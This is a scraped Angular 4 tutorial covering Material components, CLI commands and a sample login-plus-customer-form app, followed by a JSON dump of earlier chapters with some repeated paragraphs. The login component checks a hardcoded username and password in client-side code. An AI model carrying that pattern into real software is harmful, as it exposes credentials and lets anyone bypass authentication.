"~4.1.0", "karma": "~1.7.0", "karma-chrome-launcher": "~2.1.1", "karma-cli": "~1.0.1", "karma-coverage-istanbul-reporter": "^1.2.1", "karma-jasmine": "~1.1.0", "karma-jasmine-html-reporter": "^0.2.2", "protractor": "~5.1.2", "ts-node": "~3.0.4", "tslint": "~5.3.2", "typescript": "~2.3.3" } } We have highlighted the packages that are installed to work with materials. We will now import the modules in the parent module - app.module.ts as shown below. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { MdButtonModule, MdMenuModule, MdSidenavModule } from '@angular/material'; import { FormsModule } from '@angular/forms'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule, BrowserAnimationsModule, MdButtonModule, MdMenuModule, FormsModule, MdSidenavModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } In the above file, we have imported the following modules from @angular/materials. import { MdButtonModule, MdMenuModule, MdSidenavModule } from '@angular/material'; And the same is used in the imports array as shown below − imports: [ BrowserModule, BrowserAnimationsModule, MdButtonModule, MdMenuModule, FormsModule, MdSidenavModule ] The app.component.ts is as shown below − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { myData: Array<any>; constructor() {} } Let us now add the material in app.component.html. <button md-button [mdMenuTriggerFor]="menu">Menu</button> <md-menu #menu="mdMenu"> <button md-menu-item> File </button> <button md-menu-item> Save As </button> </md-menu> <md-sidenav-container class="example-container"> <md-sidenav #sidenav class="example-sidenav"> Angular 4 </md-sidenav> <div class="example-sidenav-content"> <button type="button" md-button (click)="sidenav.open()"> Open sidenav </button> </div> </md-sidenav-container> In the above file, we have added Menu and SideNav. To add menu, <md-menu></md-menu> is used. The file and Save As items are added to the button under md-menu. There is a main button added Menu. The reference of the same is given the <md-menu> by using [mdMenuTriggerFor]=”menu” and using the menu with # in <md-menu>. To add sidenav, we need <md-sidenav-container></md-sidenav-container>. <md-sidenav></md-sidenav> is added as a child to the container. There is another div added, which triggers the sidenav by using (click)=”sidenav.open()”. Following is the display of the menu and the sidenav in the browser − Upon clicking opensidenav, it shows the side bar as shown below − Upon clicking Menu, you will get two items File and Save As as shown below − Let us now add a datepicker using materials. To add a datepicker, we need to import the modules required to show the datepicker. In app.module.ts, we have imported the following module as shown below for datepicker. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { MdDatepickerModule, MdInputModule, MdNativeDateModule } from '@angular/material'; import { FormsModule } from '@angular/forms'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule, BrowserAnimationsModule, FormsModule, MdDatepickerModule, MdInputModule, MdNativeDateModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } Here, we have imported modules such as MdDatepickerModule, MdInputModule, and MdNativeDateModule. Now, the app.component.ts is as shown below − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { myData: Array<any>; constructor() {} } The app.component.html is as shown below − <md-input-container> <input mdInput [mdDatepicker]="picker" placeholder="Choose a date"> <button mdSuffix [mdDatepickerToggle]="picker"></button> </md-input-container> <md-datepicker #picker></md-datepicker> This is how the datepicker is displayed in the browser − Angular CLI makes it easy to start with any Angular project. Angular CLI comes with commands that help us create and start on our project very fast. Let us now go through the commands available to create a project, a component and services, change the port, etc. To work with Angular CLI, we need to have it installed on our system. Let us use the following command for the same − npm install -g @angular/cli To create a new project, we can run the following command in the command line and the project will be created. ng new PROJECT-NAME cd PROJECT-NAME ng serve // ng serve // will compile and you can see the output of your project in the browser − http://localhost:4200/ 4200 is the default port used when a new project is created. You can change the port with the following command − ng serve --host 0.0.0.0 --port 4201 The following table lists down a few important commands required while working with Angular 4 projects. Whenever a new module, a component, or a service is created, the reference of the same is updated in the parent module app.module.ts. In this chapter, we will discuss a few examples related to Angular 4. To begin with, we have created an example which shows a login form with input as username and password. Upon entering the correct values, it will enter inside and show another form wherein, you can enter the customer details. In addition, we have created four components - header, footer, userlogin and mainpage. The components are created using the following command − C:\ngexamples\aexamples>ng g component header installing component create src\app\header\header.component.css create src\app\header\header.component.html create src\app\header\header.component.spec.ts create src\app\header\header.component.ts update src\app\app.module.ts C:\ngexamples\aexamples>ng g component footer installing component create src\app\footer\footer.component.css create src\app\footer\footer.component.html create src\app\footer\footer.component.spec.ts create src\app\footer\footer.component.ts update src\app\app.module.ts C:\ngexamples\aexamples>ng g component userlogin installing component create src\app\userlogin\userlogin.component.css create src\app\userlogin\userlogin.component.html create src\app\userlogin\userlogin.component.spec.ts create src\app\userlogin\userlogin.component.ts update src\app\app.module.ts C:\ngexamples\aexamples>ng g component mainpage installing component create src\app\mainpage\mainpage.component.css create src\app\mainpage\mainpage.component.html create src\app\mainpage\mainpage.component.spec.ts create src\app\mainpage\mainpage.component.ts update src\app\app.module.ts In the app.module.ts, the parent module has all the components added when created. The file looks as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { ReactiveFormsModule } from '@angular/forms'; import { RouterModule, Routes} froms '@angular/router'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import {MdTableModule} from '@angular/material'; import {HttpModule} from "@angular/http"; import {MdInputModule} from '@angular/material'; import { AppComponent } from './app.component'; import { HeaderComponent } from './header/header.component'; import { FooterComponent } from './footer/footer.component'; import { UserloginComponent } from './userlogin/userlogin.component'; import { MainpageComponent } from './mainpage/mainpage.component'; const appRoutes: Routes = [ { path: '', component: UserloginComponent }, { path: 'app-mainpage', component: MainpageComponent } ]; @NgModule({ declarations: [ AppComponent, HeaderComponent, FooterComponent, UserloginComponent, MainpageComponent ], imports: [ BrowserModule, ReactiveFormsModule, RouterModule.forRoot(appRoutes), BrowserAnimationsModule, HttpModule, MdTableModule, MdInputModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } The components created above are added − import { HeaderComponent } from './header/header.component'; import { FooterComponent } from './footer/footer.component'; import { UserloginComponent } from './userlogin/userlogin.component'; import { MainpageComponent } from './mainpage/mainpage.component'; The components are added in the declarations too − declarations: [ AppComponent, HeaderComponent, FooterComponent, UserloginComponent, MainpageComponent ], In the parent app.component.html, we have added the main structure of the file that will be seen by the user. <div class="mainpage"> <app-header></app-header> <router-outlet></router-outlet> <app-footer></app-footer> </div> We have created a div and added <app-header></app-header>, <router-outlet></router-outlet> and <app-footer></app-footer>. The <router-outlet></router-outlet> is used for navigation between one page to another. Here, the pages are login-form and once it is successful it will redirect to the mainpage, i.e., the customer form. To get the login-form first and later get the mainpage.component.html, the changes are done in app.module.ts as shown below − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { ReactiveFormsModule } from '@angular/forms'; import { RouterModule, Routes} from '@angular/router'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import {MdTableModule} from '@angular/material'; import {HttpModule} from "@angular/http"; import {MdInputModule} from '@angular/material'; import { AppComponent } from './app.component'; import { HeaderComponent } from './header/header.component'; import { FooterComponent } from './footer/footer.component'; import { UserloginComponent } from './userlogin/userlogin.component'; import { MainpageComponent } from './mainpage/mainpage.component'; const appRoutes: Routes = [ { path: '', component: UserloginComponent }, { path: 'app-mainpage', component: MainpageComponent } ]; @NgModule({ declarations: [ AppComponent, HeaderComponent, FooterComponent, UserloginComponent, MainpageComponent ], imports: [ BrowserModule, ReactiveFormsModule, RouterModule.forRoot(appRoutes), BrowserAnimationsModule, HttpModule, MdTableModule, MdInputModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } We have imported RouterModule and Routes from @anuglar/router. In imports, the RouterModules takes appRoutes as the param which is defined above as − const appRoutes: Routes = [ { path: '', component: UserloginComponent }, { path: 'app-mainpage', component: MainpageComponent } ]; Routes take the array of components and by default the userloginComponent is called. In userlogin.component.ts, we have imported the router and navigated to mainpage.component.html based on the condition as shown below − import { Component, OnInit } from '@angular/core'; import { FormGroup, FormControl, Validators} from '@angular/forms'; import { Router} from '@angular/router'; @Component({ selector: 'app-userlogin', templateUrl: './userlogin.component.html', styleUrls: ['./userlogin.component.css'] }) export class UserloginComponent implements OnInit { formdata; constructor(private router: Router) { } ngOnInit() { this.formdata = new FormGroup({ uname: new FormControl("", Validators.compose([ Validators.required, Validators.minLength(6) ])), passwd: new FormControl("", this.passwordvalidation) }); } passwordvalidation(formcontrol) { if (formcontrol.value.length < 5) { return {"passwd" : true}; } } onClickSubmit(data) { console.log(data.uname); if (data.uname=="systemadmin" && data.passwd=="admin123") { alert("Login Successful"); this.router.navigate(['app-mainpage']) } else { alert("Invalid Login"); return false; } } } Following is the .ts file for app.component.ts. Only the default details are present in it. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent {title = 'app';} Let us now display the details of each of the components files. To start with, we will first take the header component. For the new component, four files are created header.component.ts, header.component.html, header.component.css, and header.component.spec.ts. import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-header', templateUrl: './header.component.html', styleUrls: ['./header.component.css'] }) export class HeaderComponent implements OnInit { constructor() { } ngOnInit() {} } <div> <hr /> </div> We have not added any css. This makes the header.component.css file empty. Also, the header.compoent.spec.ts file is empty as the test cases are not considered here. For the header, we will draw a horizontal line. A logo or any other detail can be added to make the header look more creative. Let us now consider creating a footer component. For the footer component, footer.component.ts, footer.component.html, footer.component.spec.ts and footer.component.css files are created. import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-footer', templateUrl: './footer.component.html', styleUrls: ['./footer.component.css'] }) export class FooterComponent implements OnInit { constructor() { } ngOnInit() { } } <hr/> As we have not added any css, the footer.component.css file is empty. Also, the footer.compoent.spec.ts file is empty as the test cases are not considered here. For the footer, we will just draw a horizontal line as shown in the .html file. Let us now see how the userlogin component works. The following files for userlogin component created are userlogin.component.css, userlogin.component.html, userlogin.component.ts, and userlogin.component.spec.ts. The details of the files are as follows − <div class="form_container"> <form [formGroup]="formdata" (ngSubmit) = "onClickSubmit(formdata.value)" > <header>Login</header> <label>Username <span>*</span></label> <input type="text" name="uname" formControlName="uname"/> <div class="help">At least 6 character</div> <label>Password <span>*</span></label> <input type="password" class="fortextbox" name="passwd" formControlName="passwd"/> <div class="help">Use upper and lowercase lettes as well</div> <button [disabled]="!formdata.valid" value="Login">Login</button> </form> </div> Here, we have created form with two input controls Username and Password. This is a model driven form approach and the details of the same are explained in Chapter 14 - Forms. We consider the username and password mandatory, hence the validation for the same is added in the ts. Upon clicking the submit button, the control is passed to the onClickSubmit, which is defined in the ts file. import { Component, OnInit } from '@angular/core'; import { FormGroup, FormControl, Validators} from '@angular/forms'; import { Router} from '@angular/router'; @Component({ selector: 'app-userlogin', templateUrl: './userlogin.component.html', styleUrls: ['./userlogin.component.css'] }) export class UserloginComponent implements OnInit { formdata; constructor(private router: Router) { } ngOnInit() { this.formdata = new FormGroup({ uname: new FormControl("", Validators.compose([ Validators.required, Validators.minLength(6) ])), passwd: new FormControl("", this.passwordvalidation) }); } passwordvalidation(formcontrol) { if (formcontrol.value.length < 5) { return {"passwd" : true}; } } onClickSubmit(data) { console.log(data.uname); if (data.uname == "systemadmin" && data.passwd == "admin123") { alert("Login Successful"); this.router.navigate(['app-mainpage']) } } } For the formcontrol and validation, the modules are imported as shown below import { FormGroup, FormControl, Validators} from '@angular/forms'; We need a router to navigate to a different component when the user and password are correct. For this, the router is imported as shown below − import { Router} from '@angular/router'; In ngOnInit, the validation for the form is done. We need the username to be more than six characters and the field is mandatory. The same condition applies to password too. Upon clicking submit, we can check if the username is systemadmin and the password is admin123. If yes, a dialog box appears that shows Login Successful and the router navigates to the app-mainpage, which is the selector of the mainpage component. There is css added for the form in userlogin.component.css file − .form_container{ margin : 0 auto; width:600px; } form { background: white; width: 500px; box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.7); font-family: lato; position: relative; color: #333; border-radius: 10px; } form header { background: #FF3838; padding: 30px 20px; color: white; font-size: 1.2em; font-weight: 600; border-radius: 10px 10px 0 0; } form label { margin-left: 20px; display: inline-block; margin-top: 30px; margin-bottom: 5px; position: relative; } form label span { color: #FF3838; font-size: 2em; position: absolute; left: 2.3em; top: -10px; } form input { display: block; width: 50%; margin-left: 20px; padding: 5px 20px; font-size: 1em; border-radius: 3px; outline: none; border: 1px solid #ccc; } form .help { margin-left: 20px; font-size: 0.8em; color: #777; } form button { position: relative; margin-top: 30px; margin-bottom: 30px; left: 50%; transform: translate(-50%, 0); font-family: inherit; color: white; background: #FF3838; outline: none; border: none; padding: 5px 15px; font-size: 1.3em; font-weight: 400; border-radius: 3px; box-shadow: 0px 0px 10px rgba(51, 51, 51, 0.4); cursor: pointer; transition: all 0.15s ease-in-out; } form button:hover { background: #ff5252; } The userlogin.component.spec.ts file is empty as there no test cases right now. Let us now discuss how the mainpage component works. The files created for mainpage component are mainpage.component.ts, mainpage.component.html, mainpage.component.css, and mainpage.component.spect.ts. import { Component, OnInit, ViewChild} from '@angular/core'; import { FormGroup, FormControl, Validators} from '@angular/forms'; import {Http, Response, Headers, RequestOptions } from "@angular/http"; import 'rxjs/add/operator/map'; @Component({ selector: 'app-mainpage', templateUrl: './mainpage.component.html', styleUrls: ['./mainpage.component.css'] }) export class MainpageComponent implements OnInit { formdata; cutomerdata; constructor(private http: Http) { } stateCtrl: FormControl; ngOnInit() { this.formdata = new FormGroup({ fname: new FormControl("", Validators.compose([ Validators.required, Validators.minLength(3) ])), lname: new FormControl("", Validators.compose([ Validators.required, Validators.minLength(3) ])), address:new FormControl(""), phoneno:new FormControl("") }); } onClickSubmit(data) { document.getElementById("custtable").style.display=""; this.cutomerdata = []; for (var prop in data) { this.cutomerdata.push(data[prop]); } console.log(this.cutomerdata); } } We have created a customer form with firstname, lastname , address and phone number. The validation of the same is done with the ngOnInit function. Upon clicking submit, the control comes to the function onClickSubmit. Here, the table which is used to display the entered details is made visible. The customerdata is converted from json to array so that we can use the same in ngFor on the table, which is done in the .html file as shown below. <div class="form_container"> <form [formGroup]="formdata" (ngSubmit) = "onClickSubmit(formdata.value)" > <header>Customer Details</header> <label>FirstName <span>*</span></label> <input type="text" name="fname" formControlName="fname"/> <label>LastName <span>*</span></label> <input type="text" name="lname" formControlName="lname"/> <label>Address <span></span></label> <input type="text" name="address" formControlName="address"/> <label>Phone No <span></span></label> <input type="text" name="phoneno" formControlName="phoneno"/> <button [disabled]="!formdata.valid" value="Submit">Submit</button> </form> </div> <br/> <div id="custtable" style="display:none;margin:0 auto;"> <table> <tr> <td>FirstName</td> <td>LastName</td> <td>Address</td> <td>Phone No</td> </tr> <tr> <td *ngFor="let data of cutomerdata"> <h5>{{data}}</h5> </td> </tr> </table> </div> Here, the first div has the customer details and the second div has the table, which will show the entered details. The display of the userlogin and the customer details is as shown below. This is the page with login form and header and footer. Once you enter the details, the display is as shown below Upon clicking submit, a dialog box appears which shows Login Successful. If the details are invalid, a dialog box appears which shows Invalid Login as shown below − If the login is successful, it will proceed to the next form of Customer Details as shown below − Once the details are entered and submitted, a dialog box appears which shows the Customer Details are added as shown in the screenshot below − When we click OK in the above screenshot, the details will appear as shown in the screenshot below − 16 Lectures 1.5 hours Anadi Sharma 28 Lectures 2.5 hours Anadi Sharma 11 Lectures 7.5 hours SHIVPRASAD KOIRALA 16 Lectures 2.5 hours Frahaan Hussain 69 Lectures 5 hours Senol Atac 53 Lectures 3.5 hours Senol Atac Print Add Notes Bookmark this page
[ { "code": null, "e": 2214, "s": 1992, "text": "There are three major releases of Angular. The first version that was released is Angular1, which is also called AngularJS. Angular1 was followed by Angular2, which came in with a lot of changes when compared to Angular1." }, { "code": null, "e": 2470, "s": 2214, "text": "The structure of Angular is based on the components/services architecture. AngularJS was based on the model view controller. Angular 4 released in March 2017 proves to be a major breakthrough and is the latest release from the Angular team after Angular2." }, { "code": null, "e": 2638, "s": 2470, "text": "Angular 4 is almost the same as Angular 2. It has a backward compatibility with Angular 2. Projects developed in Angular 2 will work without any issues with Angular 4." }, { "code": null, "e": 2705, "s": 2638, "text": "Let us now see the new features and the changes made in Angular 4." }, { "code": null, "e": 2881, "s": 2705, "text": "The Angular team faced some versioning issues internally with their modules and due to the conflict they had to move on and release the next version of Angular – the Angular4." }, { "code": null, "e": 2934, "s": 2881, "text": "Let us now see the new features added to Angular 4 −" }, { "code": null, "e": 3082, "s": 2934, "text": "Angular2 supported only the if condition. However, Angular 4 supports the if else condition as well. Let us see how it works using the ng-template." }, { "code": null, "e": 3213, "s": 3082, "text": "<span *ngIf=\"isavailable; else condition1\">Condition is valid.</span>\n<ng-template #condition1>Condition is invalid</ng-template>\n" }, { "code": null, "e": 3282, "s": 3213, "text": "With the help of as keyword you can store the value as shown below −" }, { "code": null, "e": 3383, "s": 3282, "text": "<div *ngFor=\"let i of months | slice:0:5 as total\">\n Months: {{i}} Total: {{total.length}}\n</div>\n" }, { "code": null, "e": 3455, "s": 3383, "text": "The variable total stores the output of the slice using the as keyword." }, { "code": null, "e": 3679, "s": 3455, "text": "Animation in Angular 4 is available as a separate package and needs to be imported from @angular/animations. In Angular2, it was available with @angular/core. It is still kept the same for its backward compatibility aspect." }, { "code": null, "e": 4014, "s": 3679, "text": "Angular 4 uses <ng-template> as the tag instead of <template>; the latter was used in Angular2. The reason Angular 4 changed <template> to <ng-template> is because of the name conflict of the <template> tag with the html <template> standard tag. It will deprecate completely going ahead. This is one of the major changes in Angular 4." }, { "code": null, "e": 4160, "s": 4014, "text": "Angular 4 is updated to a recent version of TypeScript, which is 2.2. This helps improve the speed and gives better type checking in the project." }, { "code": null, "e": 4263, "s": 4160, "text": "Angular 4 has added a new pipe title case, which changes the first letter of each word into uppercase." }, { "code": null, "e": 4329, "s": 4263, "text": "<div>\n <h2>{{ 'Angular 4 titlecase' | titlecase }}</h2>\n</div>\n" }, { "code": null, "e": 4406, "s": 4329, "text": "The above line of code generates the following output – Angular 4 Titlecase." }, { "code": null, "e": 4542, "s": 4406, "text": "Search parameters to the http get api is simplified. We do not need to call URLSearchParams for the same as was being done in Angular2." }, { "code": null, "e": 4719, "s": 4542, "text": "Angular 4 applications are smaller and faster when compared to Angular2. It uses the TypeScript version 2.2, the latest version which makes the final compilation small in size." }, { "code": null, "e": 4847, "s": 4719, "text": "In this chapter, we will discuss the Environment Setup required for Angular 4. To install Angular 4, we require the following −" }, { "code": null, "e": 4854, "s": 4847, "text": "Nodejs" }, { "code": null, "e": 4858, "s": 4854, "text": "Npm" }, { "code": null, "e": 4870, "s": 4858, "text": "Angular CLI" }, { "code": null, "e": 4896, "s": 4870, "text": "IDE for writing your code" }, { "code": null, "e": 4962, "s": 4896, "text": "Nodejs has to be greater than 4 and npm has to be greater than 3." }, { "code": null, "e": 5121, "s": 4962, "text": "To check if nodejs is installed on your system, type node –v in the terminal. This will help you see the version of nodejs currently installed on your system." }, { "code": null, "e": 5142, "s": 5121, "text": "C:\\>node –v\nv6.11.0\n" }, { "code": null, "e": 5323, "s": 5142, "text": "If it does not print anything, install nodejs on your system. To install nodejs, go the homepage https://nodejs.org/en/download/ of nodejs and install the package based on your OS." }, { "code": null, "e": 5377, "s": 5323, "text": "The homepage of nodejs will look like the following −" }, { "code": null, "e": 5602, "s": 5377, "text": "Based on your OS, install the required package. Once nodejs is installed, npm will also get installed along with it. To check if npm is installed or not, type npm –v in the terminal. It should display the version of the npm." }, { "code": null, "e": 5620, "s": 5602, "text": "C:\\>npm –v\n5.3.0\n" }, { "code": null, "e": 5781, "s": 5620, "text": "Angular 4 installations are very simple with the help of angular CLI. Visit the homepage https://cli.angular.io/ of angular to get the reference of the command." }, { "code": null, "e": 5854, "s": 5781, "text": "Type npm install –g @angular/cli, to install angular cli on your system." }, { "code": null, "e": 6022, "s": 5854, "text": "You will get the above installation in your terminal, once Angular CLI is installed. You can use any IDE of your choice, i.e., WebStorm, Atom, Visual Studio Code, etc." }, { "code": null, "e": 6089, "s": 6022, "text": "The details of the project setup is explained in the next chapter." }, { "code": null, "e": 6285, "s": 6089, "text": "AngularJS is based on the model view controller, whereas Angular 2 is based on the components structure. Angular 4 works on the same structure as Angular2 but is faster when compared to Angular2." }, { "code": null, "e": 6421, "s": 6285, "text": "Angular4 uses TypeScript 2.2 version whereas Angular 2 uses TypeScript version 1.8. This brings a lot of difference in the performance." }, { "code": null, "e": 6576, "s": 6421, "text": "To install Angular 4, the Angular team came up with Angular CLI which eases the installation. You need to run through a few commands to install Angular 4." }, { "code": null, "e": 6639, "s": 6576, "text": "Go to this site https://cli.angular.io to install Angular CLI." }, { "code": null, "e": 6812, "s": 6639, "text": "To get started with the installation, we first need to make sure we have nodejs and npm installed with the latest version. The npm package gets installed along with nodejs." }, { "code": null, "e": 6858, "s": 6812, "text": "Go to the nodejs site https://nodejs.org/en/." }, { "code": null, "e": 7119, "s": 6858, "text": "The latest version of Nodejs v6.11.0 is recommended for users. Users who already have nodejs greater than 4 can skip the above process. Once nodejs is installed, you can check the version of node in the command line using the command, node –v, as shown below −" }, { "code": null, "e": 7222, "s": 7119, "text": "The command prompt shows v6.11.0. Once nodejs is installed, npm will also get installed along with it." }, { "code": null, "e": 7339, "s": 7222, "text": "To check the version of npm, type command npm –v in the terminal. It will display the version of npm as shown below." }, { "code": null, "e": 7524, "s": 7339, "text": "The version of npm is 3.10.10. Now that we have nodejs and npm installed, let us run the angular cli commands to install Angular 4. You will see the following commands on the webpage −" }, { "code": null, "e": 7656, "s": 7524, "text": "npm install -g @angular/cli //command to install angular 4\n\nng new Angular 4-app // name of the project\n\ncd my-dream-app\n\nng serve\n" }, { "code": null, "e": 7734, "s": 7656, "text": "Let us start with the first command in the command line and see how it works." }, { "code": null, "e": 7829, "s": 7734, "text": "To start with, we will create an empty directory wherein, we will run the Angular CLI command." }, { "code": null, "e": 7952, "s": 7829, "text": "Enter the above command to install Angular 4. The installation process will start and will take a few minutes to complete." }, { "code": null, "e": 8038, "s": 7952, "text": "Once the above command to install is complete, the following Command Prompt appears −" }, { "code": null, "e": 8389, "s": 8038, "text": "We have created an empty folder ProjectA4 and installed the Angular CLI command. We have also used -g to install Angular CLI globally. Now, you can create your Angular 4 project in any directory or folder and you don’t have to install Angular CLI project wise, as it is installed on your system globally and you can make use of it from any directory." }, { "code": null, "e": 8518, "s": 8389, "text": "Let us now check whether Angular CLI is installed or not. To check the installation, run the following command in the terminal −" }, { "code": null, "e": 8525, "s": 8518, "text": "ng -v\n" }, { "code": null, "e": 8770, "s": 8525, "text": "We get the @angular/cli version, which is at present 1.2.0. The node version running is 6.11.0 and also the OS details. The above details tell us that we have installed angular cli successfully and now we are ready to commence with our project." }, { "code": null, "e": 8923, "s": 8770, "text": "We have now installed Angular 4. Let us now create our first project in Angular 4. To create a project in Angular 4, we will use the following command −" }, { "code": null, "e": 8943, "s": 8923, "text": "ng new projectname\n" }, { "code": null, "e": 8990, "s": 8943, "text": "We will name the project ng new Angular 4-app." }, { "code": null, "e": 9044, "s": 8990, "text": "Let us now run the above command in the command line." }, { "code": null, "e": 9324, "s": 9044, "text": "The project Angular 4-app is created successfully. It installs all the required packages necessary for our project to run in Angular 4. Let us now switch to the project created, which is in the directory Angular 4-app. Change the directory in the command line - cd Angular 4-app." }, { "code": null, "e": 9435, "s": 9324, "text": "We will use Visual Studio Code IDE for working with Angular 4; you can use any IDE, i.e., Atom, WebStorm, etc." }, { "code": null, "e": 9536, "s": 9435, "text": "To download Visual Studio Code, go to https://code.visualstudio.com/ and click Download for Windows." }, { "code": null, "e": 9624, "s": 9536, "text": "Click Download for Windows for installing the IDE and run the setup to start using IDE." }, { "code": null, "e": 9654, "s": 9624, "text": "The Editor looks as follows −" }, { "code": null, "e": 9756, "s": 9654, "text": "We have not started any project in it. Let us now take the project we have created using angular-cli." }, { "code": null, "e": 9875, "s": 9756, "text": "We will consider the Angular 4-app project. Let us open the Angular 4-app and see how the folder structure looks like." }, { "code": null, "e": 9984, "s": 9875, "text": "Now that we have the file structure for our project, let us compile our project with the following command −" }, { "code": null, "e": 9994, "s": 9984, "text": "ng serve\n" }, { "code": null, "e": 10065, "s": 9994, "text": "The ng serve command builds the application and starts the web server." }, { "code": null, "e": 10242, "s": 10065, "text": "The web server starts on port 4200. Type the url http://localhost:4200/ in the browser and see the output. Once the project is compiled, you will receive the following output −" }, { "code": null, "e": 10341, "s": 10242, "text": "Once you run http://localhost:4200/ in the browser, you will be directed to the following screen −" }, { "code": null, "e": 10405, "s": 10341, "text": "Let us now make some changes to display the following content −" }, { "code": null, "e": 10436, "s": 10405, "text": "“Welcome to Angular 4 project”" }, { "code": null, "e": 10573, "s": 10436, "text": "We have made changes in the files – app.component.html and app.component.ts. We will discuss more about this in our subsequent chapters." }, { "code": null, "e": 10782, "s": 10573, "text": "Let us complete the project setup. If you see we have used port 4200, which is the default port that angular–cli makes use of while compiling. You can change the port if you wish using the following command −" }, { "code": null, "e": 10818, "s": 10782, "text": "ng serve --host 0.0.0.0 –port 4205\n" }, { "code": null, "e": 10880, "s": 10818, "text": "The Angular 4 app folder has the following folder structure −" }, { "code": null, "e": 10998, "s": 10880, "text": "e2e − end to end test folder. Mainly e2e is used for integration testing and helps ensure the application works fine." }, { "code": null, "e": 11116, "s": 10998, "text": "e2e − end to end test folder. Mainly e2e is used for integration testing and helps ensure the application works fine." }, { "code": null, "e": 11230, "s": 11116, "text": "node_modules − The npm package installed is node_modules. You can open the folder and see the packages available." }, { "code": null, "e": 11344, "s": 11230, "text": "node_modules − The npm package installed is node_modules. You can open the folder and see the packages available." }, { "code": null, "e": 11416, "s": 11344, "text": "src − This folder is where we will work on the project using Angular 4." }, { "code": null, "e": 11488, "s": 11416, "text": "src − This folder is where we will work on the project using Angular 4." }, { "code": null, "e": 11548, "s": 11488, "text": "The Angular 4 app folder has the following file structure −" }, { "code": null, "e": 11626, "s": 11548, "text": ".angular-cli.json − It basically holds the project name, version of cli, etc." }, { "code": null, "e": 11704, "s": 11626, "text": ".angular-cli.json − It basically holds the project name, version of cli, etc." }, { "code": null, "e": 11760, "s": 11704, "text": ".editorconfig − This is the config file for the editor." }, { "code": null, "e": 11816, "s": 11760, "text": ".editorconfig − This is the config file for the editor." }, { "code": null, "e": 11971, "s": 11816, "text": ".gitignore − A .gitignore file should be committed into the repository, in order to share the ignore rules with any other users that clone the repository." }, { "code": null, "e": 12126, "s": 11971, "text": ".gitignore − A .gitignore file should be committed into the repository, in order to share the ignore rules with any other users that clone the repository." }, { "code": null, "e": 12272, "s": 12126, "text": "karma.conf.js − This is used for unit testing via the protractor. All the information required for the project is provided in karma.conf.js file." }, { "code": null, "e": 12418, "s": 12272, "text": "karma.conf.js − This is used for unit testing via the protractor. All the information required for the project is provided in karma.conf.js file." }, { "code": null, "e": 12539, "s": 12418, "text": "package.json − The package.json file tells which libraries will be installed into node_modules when you run npm install." }, { "code": null, "e": 12660, "s": 12539, "text": "package.json − The package.json file tells which libraries will be installed into node_modules when you run npm install." }, { "code": null, "e": 12756, "s": 12660, "text": "At present, if you open the file in the editor, you will get the following modules added in it." }, { "code": null, "e": 13047, "s": 12756, "text": "\"@angular/animations\": \"^4.0.0\",\n\"@angular/common\": \"^4.0.0\",\n\"@angular/compiler\": \"^4.0.0\",\n\"@angular/core\": \"^4.0.0\",\n\"@angular/forms\": \"^4.0.0\",\n\"@angular/http\": \"^4.0.0\",\n\"@angular/platform-browser\": \"^4.0.0\",\n\"@angular/platform-browser-dynamic\": \"^4.0.0\",\n\"@angular/router\": \"^4.0.0\",\n" }, { "code": null, "e": 13148, "s": 13047, "text": "In case you need to add more libraries, you can add those over here and run the npm install command." }, { "code": null, "e": 13233, "s": 13148, "text": "protractor.conf.js − This is the testing configuration required for the application." }, { "code": null, "e": 13318, "s": 13233, "text": "protractor.conf.js − This is the testing configuration required for the application." }, { "code": null, "e": 13408, "s": 13318, "text": "tsconfig.json − This basically contains the compiler options required during compilation." }, { "code": null, "e": 13498, "s": 13408, "text": "tsconfig.json − This basically contains the compiler options required during compilation." }, { "code": null, "e": 13581, "s": 13498, "text": "tslint.json − This is the config file with rules to be considered while compiling." }, { "code": null, "e": 13664, "s": 13581, "text": "tslint.json − This is the config file with rules to be considered while compiling." }, { "code": null, "e": 13748, "s": 13664, "text": "The src folder is the main folder, which internally has a different file structure." }, { "code": null, "e": 13840, "s": 13748, "text": "It contains the files described below. These files are installed by angular-cli by default." }, { "code": null, "e": 14110, "s": 13840, "text": "app.module.ts − If you open the file, you will see that the code has reference to different libraries, which are imported. Angular-cli has used these default libraries for the import – angular/core, platform-browser. The names itself explain the usage of the libraries." }, { "code": null, "e": 14380, "s": 14110, "text": "app.module.ts − If you open the file, you will see that the code has reference to different libraries, which are imported. Angular-cli has used these default libraries for the import – angular/core, platform-browser. The names itself explain the usage of the libraries." }, { "code": null, "e": 14480, "s": 14380, "text": "They are imported and saved into variables such as declarations, imports, providers, and bootstrap." }, { "code": null, "e": 14804, "s": 14480, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 15042, "s": 14804, "text": "declarations − In declarations, the reference to the components is stored. The Appcomponent is the default component that is created whenever a new project is initiated. We will learn about creating new components in a different section." }, { "code": null, "e": 15203, "s": 15042, "text": "imports − This will have the modules imported as shown above. At present, BrowserModule is part of the imports which is imported from @angular/platform-browser." }, { "code": null, "e": 15320, "s": 15203, "text": "providers − This will have reference to 